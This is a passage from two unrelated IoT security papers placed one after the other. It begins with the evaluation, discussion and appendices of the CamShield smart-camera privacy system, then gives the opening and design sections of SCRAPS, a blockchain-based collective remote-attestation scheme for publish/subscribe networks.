Table 3: Video Quality: Original v.s. ROI-encrypted.

11.3.1 Motion Detection
We evaluate whether the smart cameras can correctly issue

motion detection notifications in time. The CamShield de-

vice deliberately generates the motion detection events for

these smart cameras. The alarming LED is set to flash for 30

seconds every five minutes to stimulate the sink camera. We

use the CamShield App to count the detected events and the

timestamps. The test lasts 16 hours for each camera. The de-

tection rate is calculated as the ratio of the number of received

notifications to the actual number of motion events generated

during the period. The results show that no camera has false

alarms, and most smart cameras have 100% detection rate

except that the YI model is 54%. We guess it is because the

YI server may filter out too-frequent notifications.

11.3.2 Cloud Video Analysis
We evaluate the performance of cloud video analysis on ROI-

encrypted videos. The scenes are described in Table 2. We

utilize the CV interfaces (describe_image and tag_image)

of Microsoft Azure [2] to see if the ROI-encrypted video can

still be used by the cloud server to infer useful information

for the owner. The CamShield App uploads the VLC decoded

and ROI-encrypted videos to the server.

We first use the describe_image interface to generate

descriptive captions together with confidence levels for the

videos.Table 4 shows the results. We can see that the ROI-

based encryption still preserves the context understanding

of the cloud server. It just lowers the confidence level in the

meeting and office scenarios by a little bit. In the lecture

scene, the captions are quite different. The reason is that the

proportion of the man in this scene is much smaller than the

whiteboard. Thus, when the the man’s face is not facing the

camera, the analyzer pays more attention to the content of the

whiteboard.

We further utilize the tag_image to analyze the fine-

grained information. This interface infers multiple tags based

on the input video. We use the number and content of the
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Scenario Generated caption Confidence

meeting (w/o) ‘a group of men sitting at a table’ 55.71%

meeting (w/)
‘a group of people sitting

around a table with a computer’
45.93%

lecture (w/o) ‘a man writing on a white board’ 59.76%

lecture (w/) ‘text’ 65.61%

office (w/o) ‘a person sitting at a desk’ 55.09%

office (w/) ‘a person holding a phone’ 37.70%

Table 4:Context Understanding with (w/) and without
(w/o) ROI-encryption.

tags to quantify how much information is preserved in the

encrypted video. We first analyze the unencrypted raw videos

and record all tags with confidence level higher than 50%, i.e.,
true tags. Then, we apply two kinds of ROI-based encryption

to the raw videos, ‘face’ and ‘body’. Next, we apply tag anal-

ysis again on the encrypted videos and calculate the average

detection rate, i.e., the ratio of the detected true tags in the

encrypted video to all the true tags.

The results are shown in Table 5. The ‘Tag (All)’ column

indicates the ratio of detected true tags to all true tags. The

‘Tag (Body)’ column indicates the ratio of detected body-

related true tags to all body-related true tags. Similarly, the

‘Tag(Face)’ column indicates the ratio of detected face-related

true tags to all face-related true tags. The 0% detection rate

of the two tags validates the effectiveness of ROI protection.

However, as shown in the ‘Tag (All)’ column, the ROI-based

encryption still preserves information for the cloud server.

When the ROI is face, the ‘Tag (Body)’ column shows that

some body-related true tags are still kept, i.e., gesture recog-

nition would still be possible when the face area is encrypted.

12 Discussion
We discuss the limitations of the current implementation.

Cost: The major cost of the CamShield prototype is the

Nano board (100$) and the screen (50$). The Nano board

can be replaced with DSP chips and a low-end processor.

The price of screens will always decrease. Ideally, as the

CamShield replicates the full functionalities of the smart cam-

era, it will not be cheaper but should be on the same price level

as a smart camera. We are also exploring low-cost alternatives,

for example, it might be possible to reuse smartphones that

are no longer in use as free CamShield devices.

Update: The CamShield relies on CV algorithms for ROI

detection. When better algorithms are available, they can be

updated via the policy configuration interface (Section 6.2).

The binary of the CV module is first segmented and then

transmitted by multiple configuration messages. We imple-

mented a preliminary QR-code stream decoder, through which

a legacy OpenCV detector (about 100 KB) can be updated

in several mins. For larger modules such as neural network

models (e.g., a compressed MobileNet is about several MB),

a carefully-designed high throughput scheme should be used

to transmit the messages (e.g., 100 kbps is achieved in [38]).

Scenario ROI Tags (All) Tags (Body) Tags (Face)

meeting
face 56.2% 15.0% 0%

body 17.1% 0% 0%

lecture
face 89.3% 26.2% 0%

body 61.4% 0% 0%

office
face 27.3% 3.1% 0%

body 18.1% 0% 0%

Table 5: Tags Detection Rate after ROI-encryption.

For the remaining firmware (non-algorithm parts), many risks

have been avoided by isolation. For vital firmware upgrade,

which unlikely frequently occurs, one way is to return the

device to the manufacturer/authorized parties to reload new

firmware by proprietary interface and protocols.

Timestamp: Some of the security mechanisms rely on the

timestamps of the Real Time Clock (RTC) time, i.e., the abso-

lute time. The CamShield’s RTC is powered by the battery,

which ticks even when the device is powered off. However,

due to the frequency offset of the RTC’s conciliator, its time

keeps drifting from the accurate absolute time. As a result, a

time calibration method is required. A potential solution is

through the configuration interface, which already reserves

the timestampe field.

HD Video Support: Higher throughput of the VLC data

path is required for supporting 1080p or 2k videos. Currently,

we use a square screen, but the CMOS of the sink cameras is

a rectangle, hence we can adopt a rectangle screen to increase

the VLC throughput. Further, high-refresh-rate screens are

also beneficial in increasing the throughput.

Installation Overhead: As shown in Figure 8 (a), the

CamShield device is put in front of the smart camera to fully

cover it. To maximize the VLC performance, the installation

must jointly adjust the lens of the CamShield and the lens of

the camera to optimize the focus as well as to maximize the

VLC areas. In practice, it takes us less than 5 mins to set up

a new camera with a reasonable performance. For easier and

faster installation, the manufacturer might provide pre-tuned

space occupiers for different cameras models. Then, the user

only needs to stack the CamShield, the occupier, the lens,

another occupier, and the smart camera together.

13 Conclusion
Privacy and security issues of visual sensing devices have

become a concern for consumers. This paper proposes an ap-

proach to use an isolated and fully functional copy of the orig-

inal sensing device as a bolt-on accessory to protect sensing

security and privacy. As an example, we design the CamShield

system to secure COTS smart cameras while preserving their

key smart features.
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Figure 10: VLC Parameter Selection.

txFRi txFRi+1 txFRi+2 txFRi+3

txFRx,1 A C C C
txFRx,2 B B D D
txFRx,3 A xor B A xor B A xor B C xor D

Figure 11: Inter-frame Coding Scheme.

Appendix

A. VLC Inter-Frame Coding
Considering the possible sampling cases of the rxFRs in Fig-

ure 4 (e). As the two decodable rxFR pieces are random, to

ensure they provide 2/3 capacity, the data of each piece must

be coded. We denote the three pieces as subframes: txFRi,1,

txFRi,2, txFRi,3. A valid coding scheme is shown in Figure 11

to convey information pieces: A,B,C,D, etc.
We next show that, no matter when the rxFR samples, two

distinct information pieces can be recovered. When the rxRF

captures the static txRF frames, we surely can do so. So we

consider the three cases affected by the roller shuttering effect

in Figure 4 (e). In case �, B and A xor B can be decoded, so

A can be decoded from A = B xor (A xor B). In case �, C and

D can be directly decoded. In case �, C and A xor B can be

decoded. In this case, the decoder needs to wait for the next

rxFR, from which it obtains E and C xor D. With C xor D, D

can be calculated.

B. VLC Parameter Selection
The performance of the VLC is affected by several parameters.

This section describes how we choose them.

We adopt four metrics to quantify the performance. To de-

fine them clearly, suppose there are a data bits to transmit, and

b bits are added for error correction. The VLC data path trans-

mits a+b bits out in total, of which c bits are flipped during

the transmission. After error correction, the receiver recovers

d data bits from the received a+ b bits. Then we have the

following metrics: ideal throughput denotes the transmitted

bits per second including the redundancy for error correc-

tion, i.e., (a+b)/t; throughput denotes the actual correctly

decoded data bits per second after error correction, i.e., d/t;
decoding rate denotes the ratio of correctly decoded data bits

to all transmitted data bits after the error correction, i.e., d/a;

bit error rate (BER) denotes the ratio of all error bits over

the total transmitted bits, i.e., c/(a+b). The four metrics are

measured over 100 VLC frames.

Block Size: As shown in Figure 10 (a), the ideal throughput

increases when block size decreases since more color blocks

can be used to convey bits. However, decreasing the block

size does not always turn into net capacity gain since the BER

increases with smaller block size. This is because blocks with

smaller sizes contribute less color intensity and are more frag-

ile to the noise. The highest throughput 757 kbps is achieved

at a block size of 9×9 pixels.

Number of Colors Used: We show two modulation schemes

using different numbers of colors: 8-color and 4-color modu-

lation. The colors the of 4-color modulation are black, white,

green, and magenta. The 8-color modulation is shown in Fig-

ure 4 (d). Figure 10 (b) shows the performance of the two

modulation schemes. When the block size is decreased, the

throughput of the 4-color increases due to its smaller BER.

However, a smaller block size is not possible due to the limi-

tation of the block localization algorithm. As a result, 8-color

modulation performs better with 9×9 block size. Thus, we

use it as the default modulation scheme.

Error Correction Level: The RS code is described by

RS(n,m), where n is output symbol rate and m is input data

rate. n is larger than m, reflecting the redundancy used to

recover errors. We fix n to 255 and vary m to change the error

correction level. Smaller m means more redundancy and bet-

ter error resistance. We test 4 levels as shown in Figure 10 (c).

Smaller m brings better throughput. However, this gain has an

upperbound since it needs redundancy. The optimal through-

put of 757 kbps is achieved at the error correction level of

RS(255, 205) with a 99.4% decoding rate. We use it as the

default error correction level.
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VLC VLC Decoding ROI Pipelined

rxFR

Extraction

Data

Decoding

RS

Decoding

Tiles

Decryption

Time

Cost

18.9 ms 12.4 ms 3.1 ms 9.7 ms
19.4 ms

44.1 ms

Table 6: Per-frame Time Cost of the CamShield App.

C. The CamShield App Run-time Efficiency
In order to achieve real-time video rendering, the total time

budget for a VLC frame in CamShield App is 50 ms given

the 20 fps capture rate of the sink camera. Our smartphone

supports real-time 60 fps video decoding with an average time

cost of 16.7 ms. Thus, the VLC decoding and ROI decryption

must be finished within the remaining time budget, i.e., 50−
16.7 = 33.3 ms.

We first measure the per-frame time cost of different com-

ponents of the CamShield App, as shown in Table 6. If they

work sequentially, the summed cost (44.1 ms) will exceed the

time budgets. To speed up the decoding, we divide the process

into three parts and use three threads for parallel decoding.

As shown in the last column of Table 6, the average per-frame

time cost of the pipeline design is 19.4 ms, within the 33.3 ms

budget. The results show the feasibility of real-time video

rendering on smartphones.
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Abstract
Remote Attestation (RA) is a basic security mechanism

that detects malicious presence on various types of computing
components, e.g., IoT devices. In a typical IoT setting, RA in-
volves a trusted Verifier that sends a challenge to an untrusted
remote Prover, which must in turn reply with a fresh and
authentic evidence of being in a trustworthy state. However,
most current RA schemes assume a central Verifier, which rep-
resents a single point of failure. This feature is problematic
when mutually suspicious stakeholders are involved. Further-
more, scalability issues arise as the number of IoT devices
(Provers) grows.

Although some RA schemes allow peer Provers to act as
Verifiers, they involve unrealistic (for IoT devices) require-
ments, such as time synchronization and synchronous commu-
nication. Moreover, they incur heavy memory, computation,
and communication burdens, while not considering sleeping
or otherwise disconnected devices. Motivated by the need to
address these limitations, we construct Scalable Collective
Remote Attestation for Pub-Sub (SCRAPS), a novel collec-
tive RA scheme. It achieves scalability by outsourcing Ver-
ifier duties to a smart contract and mitigates DoS attacks
against both Provers and Verifiers. It also removes the need
for synchronous communication. Furthermore, RA evidence
in SCRAPS is publicly verifiable, which significantly reduces
the number of attestation evidence computations, thus lower-
ing Prover burden. We report on SCRAPS prototype imple-
mented over Hyperledger Sawtooth (a blockchain geared for
IoT use-cases) and evaluate its performance, scalability, and
security aspects.

1 Introduction

Loosely defined as a network of specialized devices, the In-
ternet of Things (IoT) revolutionized and altered numerous
aspects of our daily lives. IoT includes a wide range of com-
puterized gadgets unified by one feature – their primary pur-
pose is not traditional computing. IoT offers new and exciting

opportunities for commercial and societal purposes, includ-
ing E-Health [25], as well as many “smart” environments:
homes [4], grids [48], cities [41], and factories [63]. Recently,
IoT played an important role in the response to the COVID-19
pandemic [20,56], by helping control the spread of the disease
by contact tracing.

Not surprisingly, IoT devices have become attractive attack
targets. The attacks vary in terms of effect, e.g., local in case
of covert control of a smart lock [60], or global, as in the
2017 Mirai Botnet [37, 40] which zombified untold numbers
of smart cameras worldwide. These attacks clearly motivate
the need for security mechanisms for IoT devices. These
examples are also a preview of things to come, and they amply
demonstrate the terrifying impact of IoT-focused attacks.

Unfortunately, IoT manufacturers have little or no incentive
to invest in security. First, this is because security is not a
primary or consumer-facing service delivered by a typical
IoT device. Second, even if it exists, the security budget is
normally quite low and security is often viewed as an inhibitor
to actual “useful” services. Third, security is usually treated
as an afterthought because of the rush-to-market syndrome,
i.e., the drive to be the first to sell a particular device type.
Thus, for IoT manufacturers, the monetary motivation is to be
reactive: invest in security only if and when attacks on their
devices (and subsequent bad publicity) occur.

At the same time, a typical IoT device cannot be expected
to defend itself from attacks in the manner of more pow-
erful computing devices. Servers, desktops, laptops, tablets,
and smartphones are all full-blown general-purpose comput-
ers that can host complex anti-malware tools and implement
proactive defenses. The same is unworkable for resource-poor
IoT devices with unstable connectivity, low bandwidth, mea-
ger memory, slow CPUs, and sometimes very limited (e.g.,
battery) power. The only alternative is reactive security mea-
sures, key among which is Remote Attestation.

Remote Attestation (RA) is a basic reactive security mech-
anism for trust establishment and compromise detection in
remote entities. Although RA is a general notion, this paper
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focuses on RA in the context of IoT devices. In its simplest
form, RA is aimed at attesting a single device. A simple RA
scheme involves a trusted entity (Verifier) that interacts with an
untrusted (and possibly compromised) remote device (Prover).
In the end, Verifier learns the current state of Prover and deter-
mines whether the latter is compromised. Prover captures its
current state by computing a measurement – an authenticated
integrity function (e.g., a keyed hash) over its memory and
Verifier’s challenge. Verifier checks it against the reference
value(s) that correspond to the valid state(s).

Collective RA (cRA) is necessary whenever a multitude of
remote Provers need to be attested and simple repeated appli-
cation of single-Prover RA becomes burdensome in terms of
time and resources. In recent years, several cRA designs were
proposed with the goal of achieving scalability and efficiency.
They typically use one-to-one RA schemes as a building block
to establish individual trust connections among Provers and
arrange such connections in a more complex topology.

Current cRA techniques fall either into one-to-many or
many-to-many category. The former assume one Verifier and
many Provers [8, 12, 36, 58]. They attest the whole network
at once and assume that devices remain connected and quasi-
static during each RA session, which can last awhile. They
also require a trusted external Verifier and do not support
on-demand attestation of individual devices. They are thus
unsuitable for settings where Provers are under the control
of different entities. This limitation is addressed by many-to-
many cRA schemes [7,36,43,47,58] that allow devices to play
the role of both Provers and Verifiers. However, such schemes
scale poorly in comparison to their one-to-many counterparts,
due to their decentralized nature [7,36,43]. Furthermore, some
of them make additional trust assumptions [47, 58].

Challenges: Many current and emerging IoT network set-
tings use Publish/Subscribe (Pub/Sub) protocols, such as
MQTT [2], DDS [26], and AMQP [46]. For instance, both
Google Core IoT [27] and Amazon Web Services (AWS)
IoT [52] adapted MQTT for communications among IoT ser-
vices. Such Pub/Sub protocols prompt unique challenges for
cRA protocols since they utilize asynchronous communication
patterns, while current cRA techniques rely on synchronous
communication and direct connections between Provers and
Verifiers. Another challenge arises because some types of IoT
devices are battery-powered and use the sleep mode to save
energy. It is also possible for devices to become disconnected
due to communication failures (e.g., due to other sleeping
devices upstream). In either case, they cannot always respond
to Verifiers’ attestation requests. This issue has not been ad-
dressed so far, and we discuss it in detail in Section 2.2.

In this paper, we aim to advance the state-of-the-art and
overcome the aforementioned challenges. To this end, we
construct a novel cRA scheme, SCRAPS ( Scalable Collective
Remote Attestation for Pub-Sub), a blend of one-to-many
and many-to-many approaches. It offers advantages of both:

while supporting on-demand attestation of individual devices,
it scales better than many-to-many schemes. SCRAPS also
deals with unique challenges posed by asynchronous com-
munication patterns of Pub/Sub, and accommodates devices
with intermittent availability, i.e., supports the sleep mode and
temporary disconnections.

Contributions. We make the following contributions:

• SCRAPS, a cRA scheme for Pub/Sub networks. It in-
volves an additional entity, called the proxy, that verifies
Provers’ RA evidences on behalf of actual Verifiers. We
instantiate this proxy using smart contact – an untrusted
entity hosted over a blockchain or a ledger. This makes
SCRAPS scalable since the logical attestation topology
between the proxy and Provers is one-to-many. Once
the proxy attests a Prover, Verifiers can fetch the RA evi-
dences from the former, which enables many-to-many
attestation. Verifier ensures that the attestation process
was conducted correctly and the valid RA evidence was
stored in the smart contract, without trusting the proxy.
This is guaranteed by the properties of smart contracts
and underlying blockchains.

• A prototype of SCRAPS using Hyperledger Saw-
tooth [1], the popular blockchain platform for IoT, as the
proxy. Verifiers and Provers are realized and evaluated
on two platforms: NXP evaluation board LPC55S69-
EVK and ATmega 1284p Xplained MCU from AVR.
The former is equipped with ARM TrustZone, thus pro-
viding strong security guarantees, while the latter rep-
resents a typical IETF Class-1 [14] IoT device. Both
devices are off-the-shelf and do require no hardware
modifications. Performance evaluation results demon-
strate that SCRAPS can be easily supported by IoT
platforms. We release the source code of SCRAPS at
https://github.com/sss-wue/scraps.

• Assessment of SCRAPS’s scalability via simulations and
comparison with LegIoT [43] – the state-of-the-art and
open-source many-to-many cRA scheme. These results
show that SCRAPS significantly outperforms LegIoT,
in terms of scalability, in all the tests. Especially for
larger networks, we show that SCRAPS is capable of re-
using RA evidences of previously conducted attestations
during the operation phase more effective and thereby
reducing attestation overhead by 70% for 10000 devices
while also having a ten times shorter warm-up phase
than LegIoT. We also do not experience any performance
bottlenecks in large(r) networks.

To summarize, SCRAPS is the first cRA scheme that blends
the features of one-to-many and many-to-many approaches.
Furthermore, it is the first to address challenges stemming
from both: asynchronous communication in a Pub/Sub set-
ting and periodically sleeping/disconnected devices. Prior
blockchain-based cRA schemes merely use the ledger as a
storage means to distribute attestation evidences conducted
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by other parties. In contrast, SCRAPS’s smart contract-based
proxy performs attestation and informs other parties about
attestation results. This lowers the number of necessary at-
testation verification processes, leading to better scalability
and efficiently, as well as reduced trust assumptions, since the
smart contract is untrusted.

Paper Outline: The remaining part of the paper is organized
as follows: Section 2 discusses challenges and requirements
of cRA in Pub/Sub networks. Next, Section 3 presents our
system and adversary models, followed by the detailed design
of SCRAPS. Section 4 provides implementation details, fol-
lowed by Section 5 that covers performance and scalability
evaluations. Security analysis is provided in Section 6. Next,
Section 7 overviews the related work, and, finally, Section 8
ends with conclusions.

2 Challenges & Requirements

This section first introduces publish/subscribe (Pub/Sub) net-
works followed by a discussion on challenges posed by the
Pub/Sub paradigm and the requirements analysis.

2.1 Pub/Sub IoT Networks

Pub/Sub protocols are well-suited for highly dynamic envi-
ronments since they can tolerate disruptions and delays, thus
they are often used in IoT networks. Figure 1 shows a typical
Pub/Sub network that includes three entities: Publishers, Sub-
scribers, and Brokers. From one side, a Publisher connects to
a Broker specifying topics to publish their messages. On the
other side, Subscribers communicate to the Broker to define
their topics of interest. When Publishers push messages to the
topics, the Broker mediates the connection, filters all incoming
messages, and distributes them to Subscribers.

Figure 1: Pub/Sub communication model

In this manner, Pub/Sub obviates the need for synchroniza-
tion and constant presence. Publishers and subscribers never
contact each other directly, and both are unaware of the un-
derlying network topology and the state of other entities, e.g.,
their reachability and sleep status. Lack of synchronization as-
sumption is one of the main characteristics of such networks.

2.2 Challenges
We identify the following major challenges that prevent the
straightforward application of existing cRA solutions to IoT
Pub/Sub networks: Asynchronous communication, sleeping
devices, and malicious brokers.

CH1: Asynchronous Communication Current cRA
schemes rely on direct and synchronous communication
between Prover and Verifier [7, 35, 36, 38] (cf. Section 7
for more details). In contrast, as discussed in Section 2.1,
Pub/Sub networks exhibit asynchronous communication
where Publishers and Subscribers are completely decoupled
and never communicate directly. Furthermore, current cRA
schemes require the knowledge about current states of
devices being attested [8, 12, 36, 58], which is not available
in Pub/Sub networks. Publishers and Subscribers do not
even know the entities, let alone their current states, with
which they communicate; instead, they publish to a topic or
receive updates published to a topic. Moreover, many cRA
schemes [7, 12, 43, 50, 58] require knowledge of the network
topology. This information is not available in highly dynamic
networks, which makes prior cRA schemes unsuitable for
Pub/Sub networks.

CH2: Sleeping Devices A related issue arises from the need
to support battery-powered devices that periodically sleep
to conserve energy (or become temporarily disconnected for
network reasons) and can not be constantly available to handle
attestation requests. Whenever a prover device sleeps and/or
is disconnected, multiple attestation requests, perhaps sent by
different subscribers, can accumulate at its broker. Moreover,
a single subscriber may send several requests, since either a
request or a response may be delayed or lost. Upon waking
up or reconnecting, the prover would receive the requests and
engage in a long computational process to answer them. This
would consume energy and inhibit access to the service for
which it is deployed.

CH3: Malicious Brokers The infrastructure of Pub/Sub net-
works is maintained by third parties. This implies that Brokers
are untrusted and can be compromised. A malicious Broker
can flood Provers with fake attestation requests, thus forc-
ing them to perform excessive amounts of computation and
causing Denial of Service (DoS). Eliminating this attack vec-
tor using cryptography is challenging since it would trigger
the need for scalable (efficient) key distribution and manage-
ment, which is complicated in large and dynamic networks of
mutually untrusted devices.

2.3 Requirements
We now formulate the requirements for scalable cRA in large
and dynamic Pub/Sub IoT networks.

Heterogeneity: Targeted Pub/Sub IoT networks may include
heterogeneous devices with diverse hardware and software
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capabilities. For instance, they may range from simple temper-
ature sensors to more complex devices such as street cameras.
The heterogeneity requirement is hard to fulfill; only two cRA
schemes [36, 58] support heterogeneous networks.

Scalability: As IoT networks grow in size, complexity and
sophistication do. The ideal cRA scheme should efficiently
handle thousands of devices. While some prior schemes
consider scalability, they either target specific settings rely
on additional trust assumptions or do not scale to large
networks. In particular, although some one-to-many cRA
schemes [12,17,30,31,34,57] scale well, they attest the state
of the entire network at once, thus imposing high overhead
on all devices during attestation. Such schemes do not apply
to settings that require trust establishment with individual
devices. Some many-to-many schemes, e.g., [43], only scale
to networks up to 1,000 nodes. Moreover, some allegedly
scalable techniques, e.g., [13, 47], impose additional trust as-
sumptions, such as mutually trusted Verifiers [13] or trusted
blockchain miners [47].

On-demand Attestation: We need on-demand attestation of
individual devices in Pub/Sub IoT networks. Although this
requirement is trivially satisfied by one-to-one RA schemes, it
does not scale to large networks [7,36,43]. Whereas, scalable
RA schemes, e.g., [12, 17, 30, 31, 34, 57], do not support attes-
tation of individual devices, and it seems difficult to amend
them to support this feature.

Asynchronous Communication: The cRA scheme must ac-
commodate Pub/Sub networks, where the Verifiers and Pro-
vers communicate asynchronously, via untrusted brokers. To
the best of our knowledge, no current cRA scheme can be
easily applied to such networks.

Sleeping/Disconnected Devices: As mentioned before, IoT
devices use sleep mode to save energy or disconnected be-
cause of other reasons. A sleeping or otherwise disconnected
device can not take part in direct challenge-response attesta-
tion. This aspect was not explored previously and, to the best
of our knowledge, all prior cRA schemes assume permanent
availability of Provers for attestation purposes.

Configuration Updates: In a large, dynamic, and heteroge-
neous IoT network, a cRA scheme must consider periodic
software updates and provide an efficient and secure mech-
anism to commit new reference measurements. Most prior
schemes only support static software configurations. The only
exception is SAFEd [58] which includes a separate (though
quite costly) mechanism to support updates.

Untrusted Brokers: Large Pub/Sub IoT networks rely on
brokers to mediate communication. These brokers are third
parties, and a cRA scheme must consider potential malicious
brokers altering communication between Prover and Verifier.

3 Design

In this section, we present the design of SCRAPS. The key
idea is to delegate the role of the single trusted Verifier to
an untrusted proxy, which helps attest Provers on behalf of
Verifiers. We instantiate this proxy as a smart contract, which
is: (i) always online, i.e., does not sleep or become discon-
nected, and (ii) consolidates all attestation requests for a given
Publisher. This general approach mitigates the challenges
identified in Section 2.2. It also gives us the freedom to use
multiple RA schemes (hardware-based, software-based, and
hybrid), thus supporting heterogeneity of IoT platforms and
attestation types. Overall, SCRAPS satisfies all requirements
formulated in Section 2.3. A detailed comparison with the
related work is provided in Section 7.

3.1 System and Adversary Model

We consider a dynamic Pub/Sub IoT network, which may
include thousands of heterogeneous (in terms of hardware
and/or software) IoT devices: Publishers and Subscribers.

Use Case. Our sample scenario is an IoT-based Air Qual-
ity Decision Support System (AQDSS) [10, 42, 51], wherein
smart city citizens are encouraged (e.g., for a fee) to deploy in-
door and outdoor sensors (Publishers). Readings are reported
to research institutions, companies, and others (Subscribers)
to monitor and estimate the Personal Air Pollution Exposure
(PAPE) of an individual. Since trustworthiness of collected
data is vital, Subscribers use RA to attest Publishers.

All Publishers are produced by Manufacturers, who are
trusted to produce non-malicious devices (hardware and soft-
ware) and provide information about non-malicious hard-
ware and software configurations. This trust assumption is
typical for all RA schemes1. Manufacturers establish and
maintain Manufacturer’s SC, their own smart contract on the
blockchain/ledger, which serves as a public bulletin board
where trustworthy configurations of manufactured IoT de-
vices are published. We also assume that Publishers and Sub-
scribers are mutually untrusted.

All Publishers act as RA Provers, while all Subscribers
also act as Verifiers. This is because Publishers must assure
Subscribers, that the services they provide and the data they
publish come from a trustworthy entity. However, Verifiers
do not engage with Provers directly. Instead, verification is
performed by a smart-contract-based ProxyVerifier, on their
behalf. ProxyVerifier runs atop a blockchain/distributed ledger
that uses a mitigation mechanism against DoS attacks that
flood the smart contract with excessive queries.

To accommodate devices that sleep and/or become discon-
nected, the IoT network uses asynchronous communication,

1Mistrusting Manufacturers would require each IoT device owner to
analyze every deployed hardware and software component or even develop
their own, which is highly impractical
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Figure 2: SCRAPS Architecture

mediated by untrusted Brokers that act as drop-boxes. Read-
ings generated by a Publisher are sent to a Broker which
filters, and distributes them correctly to the Subscribers. Sim-
ilarly, Brokers mediate communication between Publishers
and blockchain/ledger and are responsible for routing trans-
actions, queries, and their results. Communication between
Subscribers and the blockchain/ledger is not mediated by Bro-
kers. A Subscriber interacts with several blockchain nodes to
ensure the integrity of its query results.

Adversary Model. We denote the adversary by ADV . At
the network layer, we consider the Dolev-Yao ADV that can
overhear, intercept, alter and concoct any number of messages
and is only constrained by underlying cryptographic tech-
niques. Moreover, ADV can generate artificial data and, e.g.,
receive payments for them without investing in real IoT de-
vices. Furthermore, ADV can compromise any Broker and
Subscriber/Verifier.

We further assume that the smart contract-based entity,
ProxyVerifier inherits all trust assumptions of the underlying
blockchain. For instance, Proof-of-Work (PoW) blockchains
(such as Ethereum) assume trustworthiness of at least 50% of
the computing power in the blockchain network, while ledgers
that rely on PBFT consensus [19], e.g., Hyperledger [1]), as-
sume that at least [(n− 1)/3] validator nodes are not com-
promised. We also assume that the ADV requires at least
a minimal time Tmin to compromise the device, i.e., we as-
sume the device to be in the benign state for time Tmin after
successful attestation.

Device Assumptions. We assume that ADV can compro-
mise any Publisher/Prover except for the trust anchor. This as-
sumption is inherited from one-to-one RA schemes that serve
as a building block for cRA schemes. We provide a more
elaborate discussion about one-to-one RA in Appendix A.
Physical attacks, such as device capture and hardware tam-
pering, are out of the scope of this work; this is a typical
assumption in most RA and cRA schemes. The only excep-
tions are [30, 34, 35], which detect device capture attacks and

hardware tampering by using absence detection (heartbeat)
protocols that require devices to be available at all times.

3.2 Design Challenges

We had to address the following design challenges in order to
instantiate ProxyVerifier in a smart contract.

As mentioned earlier, one-to-one RA schemes typically
rely on synchronous communication between Prover and Ver-
ifier. Smart contracts, however, cannot engage in synchronous
communication. Instead, one can only query the state of the
blockchain and modify its state by sending transactions. To
address this, we modify the regular flow of the RA proto-
col such that Prover actively interacts with ProxyVerifier and
queries it for any pending updates.

The second challenge occurs because in RA schemes,
Prover current state is captured by computing an RA evi-
dence as a MAC (usually realized as a keyed hash) over its
memory, which requires each Prover and Verifier to share a
unique symmetric key. This approach cannot be leveraged
by the ProxyVerifier in SCRAPS, as smart contracts do not
offer secrecy and, hence, cannot hold the key privately. To
address this issue, we substitute a keyed hash function with
a public key-based digital signature. Although a signature is
computationally more expensive than symmetric MAC, this
approach has the following advantages: (1) it saves Prover
having to receive multiple (potentially many) RA requests
which means bandwidth savings; (2) makes it resistant to
DDoS attacks by a multitude of malicious verifiers; and (3)
makes it possible for anyone to later determine Prover state
at the time since the signature is included in the blockchain.
However, we acknowledge that the use of signatures may be
prohibitive for very resource-constrained devices.

The third challenge is how to ensure freshness of attestation
evidence computed and returned by Prover, which is normally
achieved via a random nonce provided by the Verifier and
included in Prover computation. However, ProxyVerifier can
not provide such a nonce, since the blockchain has no reliable
source of randomness. To overcome this hurdle, we use the
block ID (i.e., its hash) of the most recent block as a freshness
nonce. This allows us to attain freshness at the granularity of
blocks, which suffices for enabling one RA execution (for a
given Prover) per block.

3.3 SCRAPS Phases and Workflows

The architecture of SCRAPS is shown in Figure 2. Like many
similar systems, SCRAPS has pre-deployment and operational
phases. For brevity, Figure 2 only depicts the workflows of
the operational phase.
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3.3.1 Pre-deployment Phase

Manufacturer: In a pre-deployment phase, Manufacturer es-
tablishes its presence by deploying its own Manufacturer’s
SC on the ledger to publish information about its IoT devices.
Manufacturer’s SC provides read access of stored information
to other entities in the system and keeps write access exclu-
sive. Each modification of the information stored in the smart
contract is triggered by a transaction, which is signed using
Manufacturer private key.

IoT Network Creation: To create the IoT network, one needs
to publish ProxyVerifier smart contract. This task can be per-
formed by a network administrator or any other untrusted
entity. To establish confidence in the correctness of Proxy-
Verifier functionality, the code of the smart contract is made
open-source and available for verification by other entities.

3.3.2 Operational Phase

The operational phase begins after the pre-deployment phase
and includes four stages/workflows: (1) Prover configuration;
(2) Prover registration, (3) attestation, and (4) query.

Prover Configuration: Manufacturer configures its IoT de-
vices and publishes their configuration in Manufacturer’s SC
(step 1a in Figure 2). Prover configuration includes a triple:
{Model,RAtype,Frel(t)}. Model is the configuration informa-
tion for the specific IoT device model; it includes all reference
Measurement (M) for that device. Note that Model is only re-
quired for attesting Provers (Publishers). Manufacturers do
not provide analogous information for Verifiers (Subscribers).
However, both Prover and Verifier can be instantiated on one
device.

When Manufacturer produces a new Prover model, it es-
tablishes a trust anchor and deploys a suitable RA scheme,
denoted as RAtype; see Appendix A for an overview of RA
schemes. Manufacturer also specifies the attestation reliabil-
ity function Frel(t) which reflects how long the positive RA
evidences (for this IoT device model and this RA scheme)
remain valid2. This function determines the probability of
the device remaining in a benign state during time t after
the last successful attestation. Inspired by LegIoT [43], we
define the attestation reliability function Frel(t) that outputs
the reliability score SR ranging from 0 to 1, which is defined
in Equation 1.

Frel(t) =


1, if t ≤ Tmin

f (t), if t > Tmin & t ≤ Texp

0, otherwise
(1)

Tmin is the minimum time for an attacker to compromise a
given device model. It defines the time period with a reliabil-

2There could be multiple reliability functions defined per device model, to
allow more flexibility for different network settings and application scenarios.
We leave this detail out for brevity.

Figure 3: Reliability Function [f (t) = −0.01 ∗ t +
2 with Tmin = 100 and Texp = 160]

ity score of 1 upon a successful attestation. Thereafter, f (t)
defines the score as it gradually decreases, reaching 0 at time
Texp. A sample reliability function is shown in Figure 3.

In addition to provisioning Prover with an appropriate RA
scheme during production, Manufacturer provisions Prover
trust anchor with a unique private signing key SK along with
the address of Manufacturer’s SC on the blockchain. The pri-
vate key is assumed to be only available to trusted (atomically
executed, uninterruptible and immutable) RA code (Step 1b).

Note that device configuration can be updated by the Manu-
facturer as needed by repeating Step 1a, e.g., whenever a new
software version for a given platform is released.

Prover Registration: Once deployed, Prover registers with
the blockchain using its public key PK (Step 2). Thereafter,
the authentication and integrity of each transaction, sent by
Prover, is verified by the blockchain or ledger before it reaches
ProxyVerifier. The latter uses PK as a unique identifier for
Prover to map to attestation RA evidences. The registration
process varies depending on the selected blockchain/ledger.
Permissioned blockchains (like Hyperledger Sawtooth) re-
quire adding PK to its access control list for Prover to sub-
